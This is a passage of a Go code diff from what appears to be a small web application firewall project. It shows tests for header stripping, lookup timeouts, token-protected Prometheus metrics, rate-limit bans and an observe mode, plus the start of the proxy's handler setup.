t.Errorf("the ban's notes have %+v, want %+v", got, de)
}
if len(asked()) != 0 {
t.Errorf("GeoJS was asked about %v, want nothing", asked())
}
}
func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
t.Parallel()
var (
mu sync.Mutex
got [][2][]string // each request's X-Client-ASN and X-Client-Country
)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
mu.Lock()
defer mu.Unlock()
got = append(got, [2][]string{
r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country"),
})
})
geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
addLookupHeaders: on,
})
s := &sender{t: t, addr: addr, out: out}
// Each client sends headers of its own. fromDE's first request waits
// for its answer, which the app is passed; unplaced has none to pass,
// and a client on a private address is not looked up.
for _, from := range []string{fromDE, unplaced, "10.0.0.8"} {
s.requestWithHeader(from, "/", clientsOwnLookupHeaders,
http.StatusOK, requestlog.ActionForward)
}
mu.Lock()
defer mu.Unlock()
want := [][2][]string{{{asnDE}, {"DE"}}, {nil, nil}, {nil, nil}}
if !slices.EqualFunc(got, want, func(a, b [2][]string) bool {
return slices.Equal(a[0], b[0]) && slices.Equal(a[1], b[1])
}) {
t.Errorf("the app was passed %v, want %v", got, want)
}
}
func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) {
t.Parallel()
var (
mu sync.Mutex
asn, country []string
)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
mu.Lock()
defer mu.Unlock()
asn, country = r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country")
})
geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
trustedProxies: trustLocalhost,
})
s := &sender{t: t, addr: addr, out: out}
s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders,
http.StatusOK, requestlog.ActionForward)
mu.Lock()
defer mu.Unlock()
if asn != nil || country != nil {
t.Errorf("the app was passed X-Client-ASN %v and X-Client-Country %v, want neither",
asn, country)
}
}
func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
t.Parallel()
// The test runs in a synctest bubble, where the time package runs on a
// clock of the test's own: the wait lasts exactly as long as it should,
// however slowly the test process runs. Nothing in it may wait on the
// network, which would keep that clock from moving on: the request is
// handed to discriminator's handler, and GeoJS is one that never answers.
synctest.Test(t, func(t *testing.T) {
// Not the default. The exclusive list needs the answer, and the app
// is never reached.
const timeout = 3 * time.Second
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{
lookupTimeout: timeout.String(),
allowedCountries: "DE",
})
began := time.Now()
serveFromDE(t, server, http.MethodGet, http.NoBody)
if waited := time.Since(began); waited != timeout {
t.Errorf("the request waited %s for its answer, want %s", waited, timeout)
}
// Without an answer, the client is in no country the list allows.
wantLine(t, out.requestLine(t), http.StatusForbidden,
requestlog.ActionCountryDenied)
})
}
// silentGeoJSURL is where a GeoJS that never answers is asked: a
// request to it waits, without the network, until it is abandoned.
// TestMain registers it with Go's default transport, through which GeoJS
// is asked.
const silentGeoJSURL = "silent://geojs/v1/ip/geo.json"
func TestMain(m *testing.M) {
transport, _ := http.DefaultTransport.(*http.Transport)
transport.RegisterProtocol("silent", silentGeoJS{})
transport.RegisterProtocol("abuseipdb", abuseIPDBStandIn{})
m.Run()
}
// silentGeoJS is the GeoJS at silentGeoJSURL.
type silentGeoJS struct{}
// RoundTrip waits until req is abandoned.
func (silentGeoJS) RoundTrip(req *http.Request) (*http.Response, error) {
<-req.Context().Done()
return nil, req.Context().Err()
}
// clientsOwnLookupHeaders are the X-Client-ASN and X-Client-Country a
// client sends of its own, each twice, in two cases.
const clientsOwnLookupHeaders = "X-Client-ASN: AS1\r\nx-client-asn: AS2\r\n" +
"X-CLIENT-COUNTRY: KP\r\nx-client-country: CN"
// waitUntil waits until done reports true, for at most waitLimit.
func waitUntil(done func() bool) {
deadline := time.Now().Add(waitLimit)
for !done() && time.Now().Before(deadline) {
time.Sleep(pollInterval)
}
}
internal/discriminator/metrics_test.go
-432
View File
@@ -1,432 +0,0 @@
package discriminator_test
import (
"io"
"net/http"
"net/http/httptest"
"net/netip"
"strconv"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const (
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWW_METRICS_TOP_N"
// token is the SWW_METRICS_TOKEN the tests set, and bearer how a
// request carries it.
token = "0123456789abcdef0123456789abcdef"
bearer = "Bearer " + token
)
func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", nil)
// An empty token does not match the unset one either.
for _, authorization := range []string{bearer, "Bearer ", ""} {
s.ownEndpointRequest(authorization, http.MethodGet, discriminator.MetricsPath, "",
http.StatusNotFound)
}
}
func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{metricsToken: token})
for _, tc := range []struct {
method, path, authorization string
status int
}{
{http.MethodGet, discriminator.MetricsPath, "", http.StatusUnauthorized},
{
http.MethodGet, discriminator.MetricsPath, "Bearer " + strings.ToUpper(token),
http.StatusUnauthorized,
},
{http.MethodGet, discriminator.MetricsPath, "Basic " + token,
http.StatusUnauthorized},
{http.MethodGet, discriminator.MetricsPath, bearer, http.StatusOK},
{http.MethodGet, discriminator.MetricsPath, "bearer " + token, http.StatusOK},
{http.MethodPost, discriminator.MetricsPath, bearer, http.StatusNotFound},
{http.MethodGet, discriminator.MetricsPath + "/", bearer, http.StatusNotFound},
{http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound},
{http.MethodPost, discriminator.HealthPath, "", http.StatusNotFound},
} {
got := s.ownEndpointRequest(tc.authorization, tc.method, tc.path, "", tc.status)
if tc.status == http.StatusUnauthorized &&
got.header.Get("WWW-Authenticate") != "Bearer" {
t.Errorf("%q was answered without WWW-Authenticate: Bearer",
tc.authorization)
}
if tc.status == http.StatusOK &&
!strings.Contains(string(got.body), "# TYPE sww_requests_total counter") {
t.Errorf("the metrics are\n%s", got.body)
}
}
}
func TestMetricsCountTheTraffic(t *testing.T) {
t.Parallel()
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
_, _ = io.Copy(io.Discard, r.Body)
_, _ = io.WriteString(w, "hello")
})
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
map[string]string{metricsToken: token})
got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
wantStatus(t, got, http.StatusOK)
wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
out.endedLines(t, 2)
forward := `{action="forward",instance="app",status_class="2xx"}`
notFound := `{action="own_endpoint",instance="app",status_class="4xx"}`
// The request for the metrics is itself under way.
metrics := scrape(t, server.Addr)
wantMetric(t, metrics, "sww_requests_total"+forward, 1)
wantMetric(t, metrics, "sww_requests_total"+notFound, 1)
wantMetric(t, metrics, "sww_request_bytes_total"+forward, 3)
wantMetric(t, metrics, "sww_response_bytes_total"+forward, 5)
wantMetric(t, metrics, "sww_response_bytes_total"+notFound,
float64(len("Not Found\n")))
wantMetric(t, metrics,
`sww_request_duration_seconds_count{instance="app"}`, 2)
wantMetric(t, metrics,
`sww_upstream_duration_seconds_count{instance="app"}`, 1)
wantMetric(t, metrics, `sww_requests_in_flight{instance="app"}`, 1)
metric(t, metrics, `go_goroutines{instance="app"}`)
metric(t, metrics, `process_start_time_seconds{instance="app"}`)
}
func TestMetricsCountLimitsAndBans(t *testing.T) {
t.Parallel()
const denied = "192.0.2.50" // in SWW_DENY_NETS
s, clk, _ := startWithClock(t, "", map[string]string{
metricsToken: token,
rateLimitPerMinute: "1",
denyNets: denied,
banResponse: banResponseClose,
limitBanDuration: "1h",
maxBanDuration: "2h",
})
// SWW_BAN_RESPONSE=close sends no status at all.
s.get(denied, 0, requestlog.ActionClientDenied)
// A first broken limit bans for an hour.
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, 0, requestlog.ActionClientIsRateLimited)
metrics := s.scrape()
wantMetric(t, metrics,
`sww_requests_total{action="client_denied",instance="app",status_class="none"}`, 1)
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="requests",window="minute"}`, 1)
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0)
clk.advance(time.Hour)
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
// A limit broken again right after would ban for three hours, longer
// than SWW_MAX_BAN_DURATION, so the ban is permanent.
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, 0, requestlog.ActionClientIsRateLimited)
metrics = s.scrape()
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="requests",window="minute"}`, 2)
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 2)
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 2)
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
// denied and client.
wantMetric(t, metrics, `sww_tracked_clients{instance="app"}`, 2)
}
func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
metricsToken: token,
adminToken: adminSecret,
})
const admins = `sww_bans_made_total{cause="admin",instance="app"}`
wantMetric(t, s.scrape(), admins, 0)
// As an admin's edit of bans.json that adds a ban is taken in.
server.Ledger.LoadEdit([]bans.Ban{{
Netblock: netip.MustParsePrefix(client + "/32"),
Start: clk.Now(),
}})
wantMetric(t, s.scrape(), admins, 1)
// And a ban made through the endpoint.
s.admin(http.MethodPost, discriminator.BansPath, banOtherClient, http.StatusOK)
wantMetric(t, s.scrape(), admins, 2)
}
func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
t.Parallel()
const fromFR = "198.51.100.20"
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
_, _ = io.Copy(io.Discard, r.Body)
_, _ = io.WriteString(w, "hello")
})
env := map[string]string{
trustedProxies: trustLocalhost,
metricsToken: token,
metricsTopN: "2",
allowedCountries: "de,fr",
}
geojsURL, _ := startGeoJS(t)
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
// The answers are kept before the requests, so that none waits for
// GeoJS.
server.GeoJS.Load([]lookup.Answer{
keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
})
lines := 0
send := func(from string, times, status int) {
t.Helper()
for range times {
req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
req.Header.Set(forwardedFor, from)
wantStatus(t, do(t, req), status)
// Each is counted before the next is sent, so that the
// countries are ranked in the order sent.
lines++
out.endedLines(t, lines)
}
}
// With two countries of their own, the third is counted as other.
send(fromKP, 3, http.StatusForbidden)
send(fromDE, 2, http.StatusOK)
send(fromFR, 1, http.StatusOK)
metrics := scrape(t, server.Addr)
lines++
wantMetric(t, metrics,
`sww_country_requests_total{country="KP",instance="app"}`, 3)
wantMetric(t, metrics,
`sww_country_requests_total{country="DE",instance="app"}`, 2)
wantMetric(t, metrics,
`sww_country_requests_total{country="other",instance="app"}`, 1)
wantMetric(t, metrics,
`sww_country_list_refusals_total{country="KP",instance="app"}`, 3)
wantMetric(t, metrics,
`sww_country_request_bytes_total{country="KP",instance="app"}`, 0)
wantMetric(t, metrics,
`sww_country_request_bytes_total{country="DE",instance="app"}`, 6)
wantMetric(t, metrics,
`sww_country_response_bytes_total{country="KP",instance="app"}`,
float64(3*len("Forbidden\n")))
wantMetric(t, metrics,
`sww_country_response_bytes_total{country="other",instance="app"}`,
float64(len("hello")))
wantNoSeries(t, metrics,
`sww_country_requests_total{country="FR",instance="app"}`)
// Once FR is busier than DE, it takes DE's place: its series counts
// from then on, and DE's is gone.
send(fromFR, 3, http.StatusOK)
metrics = scrape(t, server.Addr)
wantMetric(t, metrics,
`sww_country_requests_total{country="KP",instance="app"}`, 3)
wantMetric(t, metrics,
`sww_country_requests_total{country="FR",instance="app"}`, 2)
wantMetric(t, metrics,
`sww_country_requests_total{country="other",instance="app"}`, 2)
wantNoSeries(t, metrics,
`sww_country_requests_total{country="DE",instance="app"}`)
wantNoSeries(t, metrics,
`sww_country_request_bytes_total{country="DE",instance="app"}`)
}
func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
metricsToken: token,
metricsTopN: "1",
})
// The answers are kept before the requests, so that GeoJS gives none
// of its own. Each client is in an AS of its own.
answer := func(addr, asn string) lookup.Answer {
return lookup.Answer{
Client: netip.MustParsePrefix(addr + "/32"), ASN: asn,
Answered: clk.Now(), Used: clk.Now(),
}
}
server.GeoJS.Load([]lookup.Answer{
answer(fromDE, "AS64501"), answer(fromKP, "AS64502"),
})
// With one AS number of its own, the other is counted as other.
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromKP, http.StatusOK, requestlog.ActionForward)
metrics := s.scrape()
wantMetric(t, metrics,
`sww_asn_requests_total{asn="AS64501",instance="app"}`, 2)
wantMetric(t, metrics,
`sww_asn_requests_total{asn="other",instance="app"}`, 1)
wantMetric(t, metrics,
`sww_asn_request_bytes_total{asn="AS64501",instance="app"}`, 0)
wantMetric(t, metrics,
`sww_asn_response_bytes_total{asn="other",instance="app"}`, 0)
wantNoSeries(t, metrics,
`sww_asn_requests_total{asn="AS64502",instance="app"}`)
}
func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
t.Parallel()
geojs := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusServiceUnavailable)
}))
t.Cleanup(geojs.Close)
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _, server := startProxyWithClock(t, app.URL, geojs.URL, time.Now,
map[string]string{
trustedProxies: trustLocalhost,
metricsToken: token,
tagDeny: denyKP,
})
// GeoJS fails, so the client has no country= tag, and SWW_TAG_DENY does
// not refuse it.
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK)
// The client stops waiting for GeoJS once SWW_LOOKUP_TIMEOUT is up, so
// GeoJS's failure can come after its request has ended.
deadline := time.Now().Add(waitLimit)
metrics := scrape(t, server.Addr)
for metric(t, metrics, `sww_geojs_failures_total{instance="app"}`) == 0 &&
time.Now().Before(deadline) {
time.Sleep(pollInterval)
metrics = scrape(t, server.Addr)
}
wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1)
wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1)
wantMetric(t, metrics, `sww_requests_without_geojs_answer_total{instance="app"}`, 1)
}
// keptAnswer returns GeoJS's answer that the client at addr is in
// country, given now.
func keptAnswer(addr, country string) lookup.Answer {
now := time.Now()
return lookup.Answer{
Client: netip.MustParsePrefix(addr + "/32"), Country: country,
Answered: now, Used: now,
}
}
// scrape asks discriminator at addr for the metrics, with the token, and returns
// them.
func scrape(t *testing.T, addr string) string {
t.Helper()
req := newRequest(t, http.MethodGet, addr, discriminator.MetricsPath, http.NoBody)
req.Header.Set("Authorization", bearer)
got := do(t, req)
if got.status != http.StatusOK {
t.Fatalf("the metrics were answered %d", got.status)
}
return string(got.body)
}
// scrape asks for the metrics, with the token, and returns them.
func (s *sender) scrape() string {
s.t.Helper()
return string(s.ownEndpointRequest(bearer, http.MethodGet, discriminator.MetricsPath,
"", http.StatusOK).body)
}
// metric returns the value of series in metrics, which are in the
// Prometheus text format. series is a name and its labels in the order of
// their names, such as
// sww_offences_total{instance="app",kind="limit"}. It fails the
// test if there is no such series.
func metric(t *testing.T, metrics, series string) float64 {
t.Helper()
for line := range strings.Lines(metrics) {
value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
if !found {
continue
}
number, err := strconv.ParseFloat(value, 64)
if err != nil {
t.Fatalf("%s has the value %q", series, value)
}
return number
}
t.Fatalf("no series %s in the metrics:\n%s", series, metrics)
return 0
}
// wantMetric checks the value of series in metrics, as metric reads it.
func wantMetric(t *testing.T, metrics, series string, want float64) {
t.Helper()
got := metric(t, metrics, series)
if got != want {
t.Errorf("%s is %v, want %v", series, got, want)
}
}
// wantNoSeries checks that metrics have no series series.
func wantNoSeries(t *testing.T, metrics, series string) {
t.Helper()
if strings.Contains(metrics, "\n"+series+" ") {
t.Errorf("there is a series %s", series)
}
}
internal/discriminator/observe_test.go
-240
View File
@@ -1,240 +0,0 @@
package discriminator_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// observe is the value of SWW_MODE for observe mode.
const observe = "observe"
func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
t.Parallel()
const trapPath = "/wp-login.php"
for _, tc := range []struct {
name string
cause string
// endsIn is how long after the request the ban ends: negative for a
// ban that has ended, and zero for a permanent ban.
endsIn time.Duration
path string
want string
}{
{
"temporary ban", bans.CauseAdmin, time.Hour, "/",
requestlog.ActionTemporarilyBanned,
},
{"permanent ban", bans.CauseAdmin, 0, "/", requestlog.ActionPermanentlyBanned},
{
"request that makes a ban permanent", bans.CauseAttack, time.Hour, "/",
requestlog.ActionPermanentlyBanned,
},
{
"trap path after an attack ban ended", bans.CauseAttack, -time.Hour,
trapPath, requestlog.ActionPermanentlyBanned,
},
{
"first trap path after another ban ended", bans.CauseAdmin, -time.Hour,
trapPath, requestlog.ActionTemporarilyBanned,
},
} {
for _, modeValue := range []string{"enforce", observe} {
t.Run(tc.name+" in "+modeValue, func(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList, mode: modeValue,
})
ban := bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"),
Start: clk.Now().Add(-2 * time.Hour),
Cause: tc.cause,
}
if tc.endsIn != 0 {
ban.Expires = clk.Now().Add(tc.endsIn)
}
server.Ledger.Load([]bans.Ban{ban})
if modeValue == observe {
line := s.request(client, tc.path, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, tc.want)
return
}
s.request(client, tc.path, http.StatusForbidden, tc.want)
})
}
}
}
func TestObserveModeNamesAPermanentBanWhoseAlertWouldBeSent(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
trapPaths: trapPathList, mode: observe,
})
server.Ledger.Load([]bans.Ban{{
Netblock: netip.MustParsePrefix(client + "/32"),
Start: clk.Now().Add(-2 * time.Hour),
Expires: clk.Now().Add(-time.Hour),
Cause: bans.CauseAttack,
}})
line := s.request(client, "/wp-login.php", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionPermanentlyBanned)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan {
t.Errorf("alerts waiting are %+v, want one %s", waiting, alerts.EventPermanentBan)
}
}
func TestObserveModeNamesTheHeuristicThatWouldHaveRefused(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
mode: observe, denyNets: client,
})
line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionClientDenied)
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+client+`/32"}`)
}
func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
t.Parallel()
const (
denied = "192.0.2.50" // in SWW_DENY_NETS
banned = otherClient // under a ban read from bans.json
)
for _, tc := range []struct {
setting string // "" leaves SWW_MODE at its default
observe bool
}{
{"", false},
{"enforce", false},
{observe, true},
} {
t.Run(mode+"="+tc.setting, func(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
tagDeny: denyKP,
}
if tc.setting != "" {
env[mode] = tc.setting
}
s, clk, server := startWithClock(t, geojsURL, env)
server.Ledger.Load([]bans.Ban{{
Netblock: netip.MustParsePrefix(banned + "/32"),
Start: clk.Now(),
Expires: clk.Now().Add(time.Hour),
}})
// fromDE's first request is within the limit of one a minute,
// and its second breaks it.
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
for _, sent := range []struct{ from, refusal string }{
{denied, requestlog.ActionClientDenied},
{banned, requestlog.ActionTemporarilyBanned},
{fromKP, requestlog.ActionClientDenied},
{fromDE, requestlog.ActionClientIsRateLimited},
} {
if !tc.observe {
line := s.get(sent.from, http.StatusForbidden, sent.refusal)
wantWouldAction(t, line, "")
continue
}
// Passed to the app, which answered it.
line := s.get(sent.from, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, sent.refusal)
}
})
}
}
func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
mode: observe,
rateLimitPerMinute: "1",
})
kept := bans.Ban{
Netblock: netip.MustParsePrefix(otherClient + "/32"),
Start: clk.Now(),
Expires: clk.Now().Add(time.Hour),
Cause: bans.CauseAdmin,
}
server.Ledger.Load([]bans.Ban{kept})
// No ban sets client's counters back to zero, so each request after
// the first breaks the limit of one a minute.
s.get(client, http.StatusOK, requestlog.ActionForward)
for range 2 {
line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
line.BanExpires != "" {
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"want minute, limit and none", line.LimitHit, line.Offence,
line.BanExpires)
}
}
// The ban read from bans.json refuses nothing, and so counts no
// refusal in its notes, but is kept.
line := s.get(otherClient, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
if line.BanExpires != requestlog.FormatTime(kept.Expires) {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires,
requestlog.FormatTime(kept.Expires))
}
got := server.Ledger.Snapshot()
if len(got) != 1 || !reflect.DeepEqual(got[0], kept) {
t.Errorf("bans\n%+v\nwant only\n%+v", got, kept)
}
}
// wantWouldAction checks the request log line's would_action, and that a
// line that should have none has no such field.
func wantWouldAction(t *testing.T, line logLine, want string) {
t.Helper()
got, present := line.fields["would_action"]
switch {
case want == "" && present:
t.Errorf("log line has would_action %v, want none", got)
case want != "" && got != want:
t.Errorf("log line has would_action %v, want %s", got, want)
}
}
internal/discriminator/proxy.go
-274
View File
@@ -1,274 +0,0 @@
// Package discriminator is the server the discriminator command runs. It answers
// rproxy's questions, takes rproxy's reports and answers its own endpoints, and
// writes a log line for each.
package discriminator
import (
"fmt"
"io"
"log/slog"
"net/http"
"time"
lru "github.com/hashicorp/golang-lru/v2"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/metrics"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/routewatch"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// ownEndpointPrefix starts the path of each of discriminator's own endpoints. The app
// never sees a path under it.
const ownEndpointPrefix = "/_sww/"
// HealthPath is the health endpoint of discriminator and of rproxy, which the
// container's health check asks.
const HealthPath = "/_sww/healthz"
// MetricsPath is where the metrics are, for a request that carries
// SWW_METRICS_TOKEN.
const MetricsPath = "/_sww/metrics"
// BansPath is where an admin lists and adds bans, and, followed by / and
// a client's address, lifts them, with SWW_ADMIN_TOKEN.
const BansPath = "/_sww/bans"
// ClientsPath is where an admin asks what discriminator knows of a client, by
// the client's address after it, with SWW_ADMIN_TOKEN.
const ClientsPath = "/_sww/clients/"
// Params are what New needs.
type Params struct {
Config *config.Config
// RequestLog receives two JSON lines per question, one at its decision and
// one when its report comes, and one per request to discriminator's own
// endpoints.
RequestLog io.Writer
// ProcessLog receives the process's own messages.
ProcessLog *slog.Logger
// GeoJSURL is where clients' AS numbers and countries are looked up
// while SWW_LOOKUP_SOURCE is geojs, normally lookup.URL.
GeoJSURL string
// AbuseIPDBURL is where clients are checked with AbuseIPDB while
// SWW_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
AbuseIPDBURL string
// LookupFile is the lookup database they are looked up in while
// SWW_LOOKUP_SOURCE is file, and nil otherwise.
LookupFile *lookup.File
// CoreRuleSet is what NewCoreRuleSet returns: what inspects requests
// while SWW_WAF_MODE is not off, and nil while it is.
CoreRuleSet *coreruleset.CoreRuleSet
// Now tells the time by which requests are counted for the rate
// limits, bans are made and run out, and GeoJS's answers are kept,
// normally time.Now in UTC, the time the state files give.
Now func() time.Time
// Rules are the rule files' rules, which each request is checked
// against.
Rules *rules.Files
// Alerts receive the alert for each ban discriminator makes or makes
// permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWW_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue
}
// Server is the server discriminator runs, with the parts whose state the state
// files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
// AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
// SWW_ROUTEWATCH_URL is unset, keeps its answers in memory only.
type Server struct {
*http.Server
Ledger *bans.Ledger
Limiter *ratelimit.Limiter
GeoJS *lookup.GeoJS
Anomalies *anomaly.Counters
LookupFile *lookup.File
Lists *reputation.Lists
DNSBL *reputation.DNSBL
AbuseIPDB *reputation.AbuseIPDB
RouteWatch *routewatch.Client
Metrics *metrics.Metrics
}
// newHandler returns the handler with what every request shares, as the
// settings in params make it.
func newHandler(params Params) *handler {
m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
lists, dnsbl, abuseIPDB := newReputation(params, m)
awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
if err != nil {
panic(err) // New fails only for a size below one
}
h := &handler{
config: params.Config,
requestLog: params.RequestLog,
processLog: params.ProcessLog,
now: params.Now,
metrics: m,
awaitingReport: awaitingReport,
limiter: ratelimit.New(ratelimit.Limits{
PerMinute: params.Config.RateLimitPerMinute,
PerHour: params.Config.RateLimitPerHour,
PerDay: params.Config.RateLimitPerDay,
BytesPerMinute: params.Config.BytesLimitPerMinute,
BytesPerHour: params.Config.BytesLimitPerHour,
BytesPerDay: params.Config.BytesLimitPerDay,
}, params.Config.MaxTrackedClients),
ledger: bans.New(bans.Params{
LimitBanDuration: params.Config.LimitBanDuration,
LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
MaxBanDuration: params.Config.MaxBanDuration,
AttackBanDuration: params.Config.AttackBanDuration,
MaxBans: params.Config.MaxBans,
}),
anomalies: anomaly.New(anomaly.Params{
Client: params.Config.AnomalyClient,
Net: params.Config.AnomalyNet,
ASN: params.Config.AnomalyASN,
Total: params.Config.AnomalyTotal,
Watch: params.Config.AnomalyWatch,
NetV4Prefix: params.Config.AnomalyNetV4Prefix,
NetV6Prefix: params.Config.AnomalyNetV6Prefix,
NamedNetblocks: params.Config.WatchNets,
Alerts: params.Alerts,
}),
lookupFile: params.LookupFile,
lists: lists,
dnsbl: dnsbl,
abuseIPDB: abuseIPDB,
rules: params.Rules,
coreRuleSet: params.CoreRuleSet,
alerts: params.Alerts,
}
if params.Config.RouteWatchURL != "" {
h.routeWatch = routewatch.New(routewatch.Params{
URL: params.Config.RouteWatchURL, Now: params.Now, ProcessLog: params.ProcessLog,
})
}
h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL,
Timeout: params.Config.LookupTimeout,
// The country list, the headers, the tag settings that name an asn=
// or country= tag and the biased thresholds act on the answer before
// the request goes on.
Wait: len(params.Config.ExclusivelyAllowedCountries) > 0 ||
params.Config.AddLookupHeaders || params.Config.TagsNeedLookup() ||
biasedThresholdsSet(params.Config),
Answered: h.addLookup,
Now: params.Now,
ProcessLog: params.ProcessLog,
Metrics: m,
Alerts: params.Alerts,
})
m.AddBansAndClients(h.ledger, h.limiter, params.Now)
m.AddRules(params.Rules)
return h
}
// newReputation returns the lists fetched from URLs, the DNSBL zones'
// verdicts and AbuseIPDB's scores, as the settings in params name them,
// with none fetched, asked for or checked yet, and adds their metrics to
// m, AbuseIPDB's while SWW_ABUSEIPDB_KEY is set.
func newReputation(
params Params, m *metrics.Metrics,
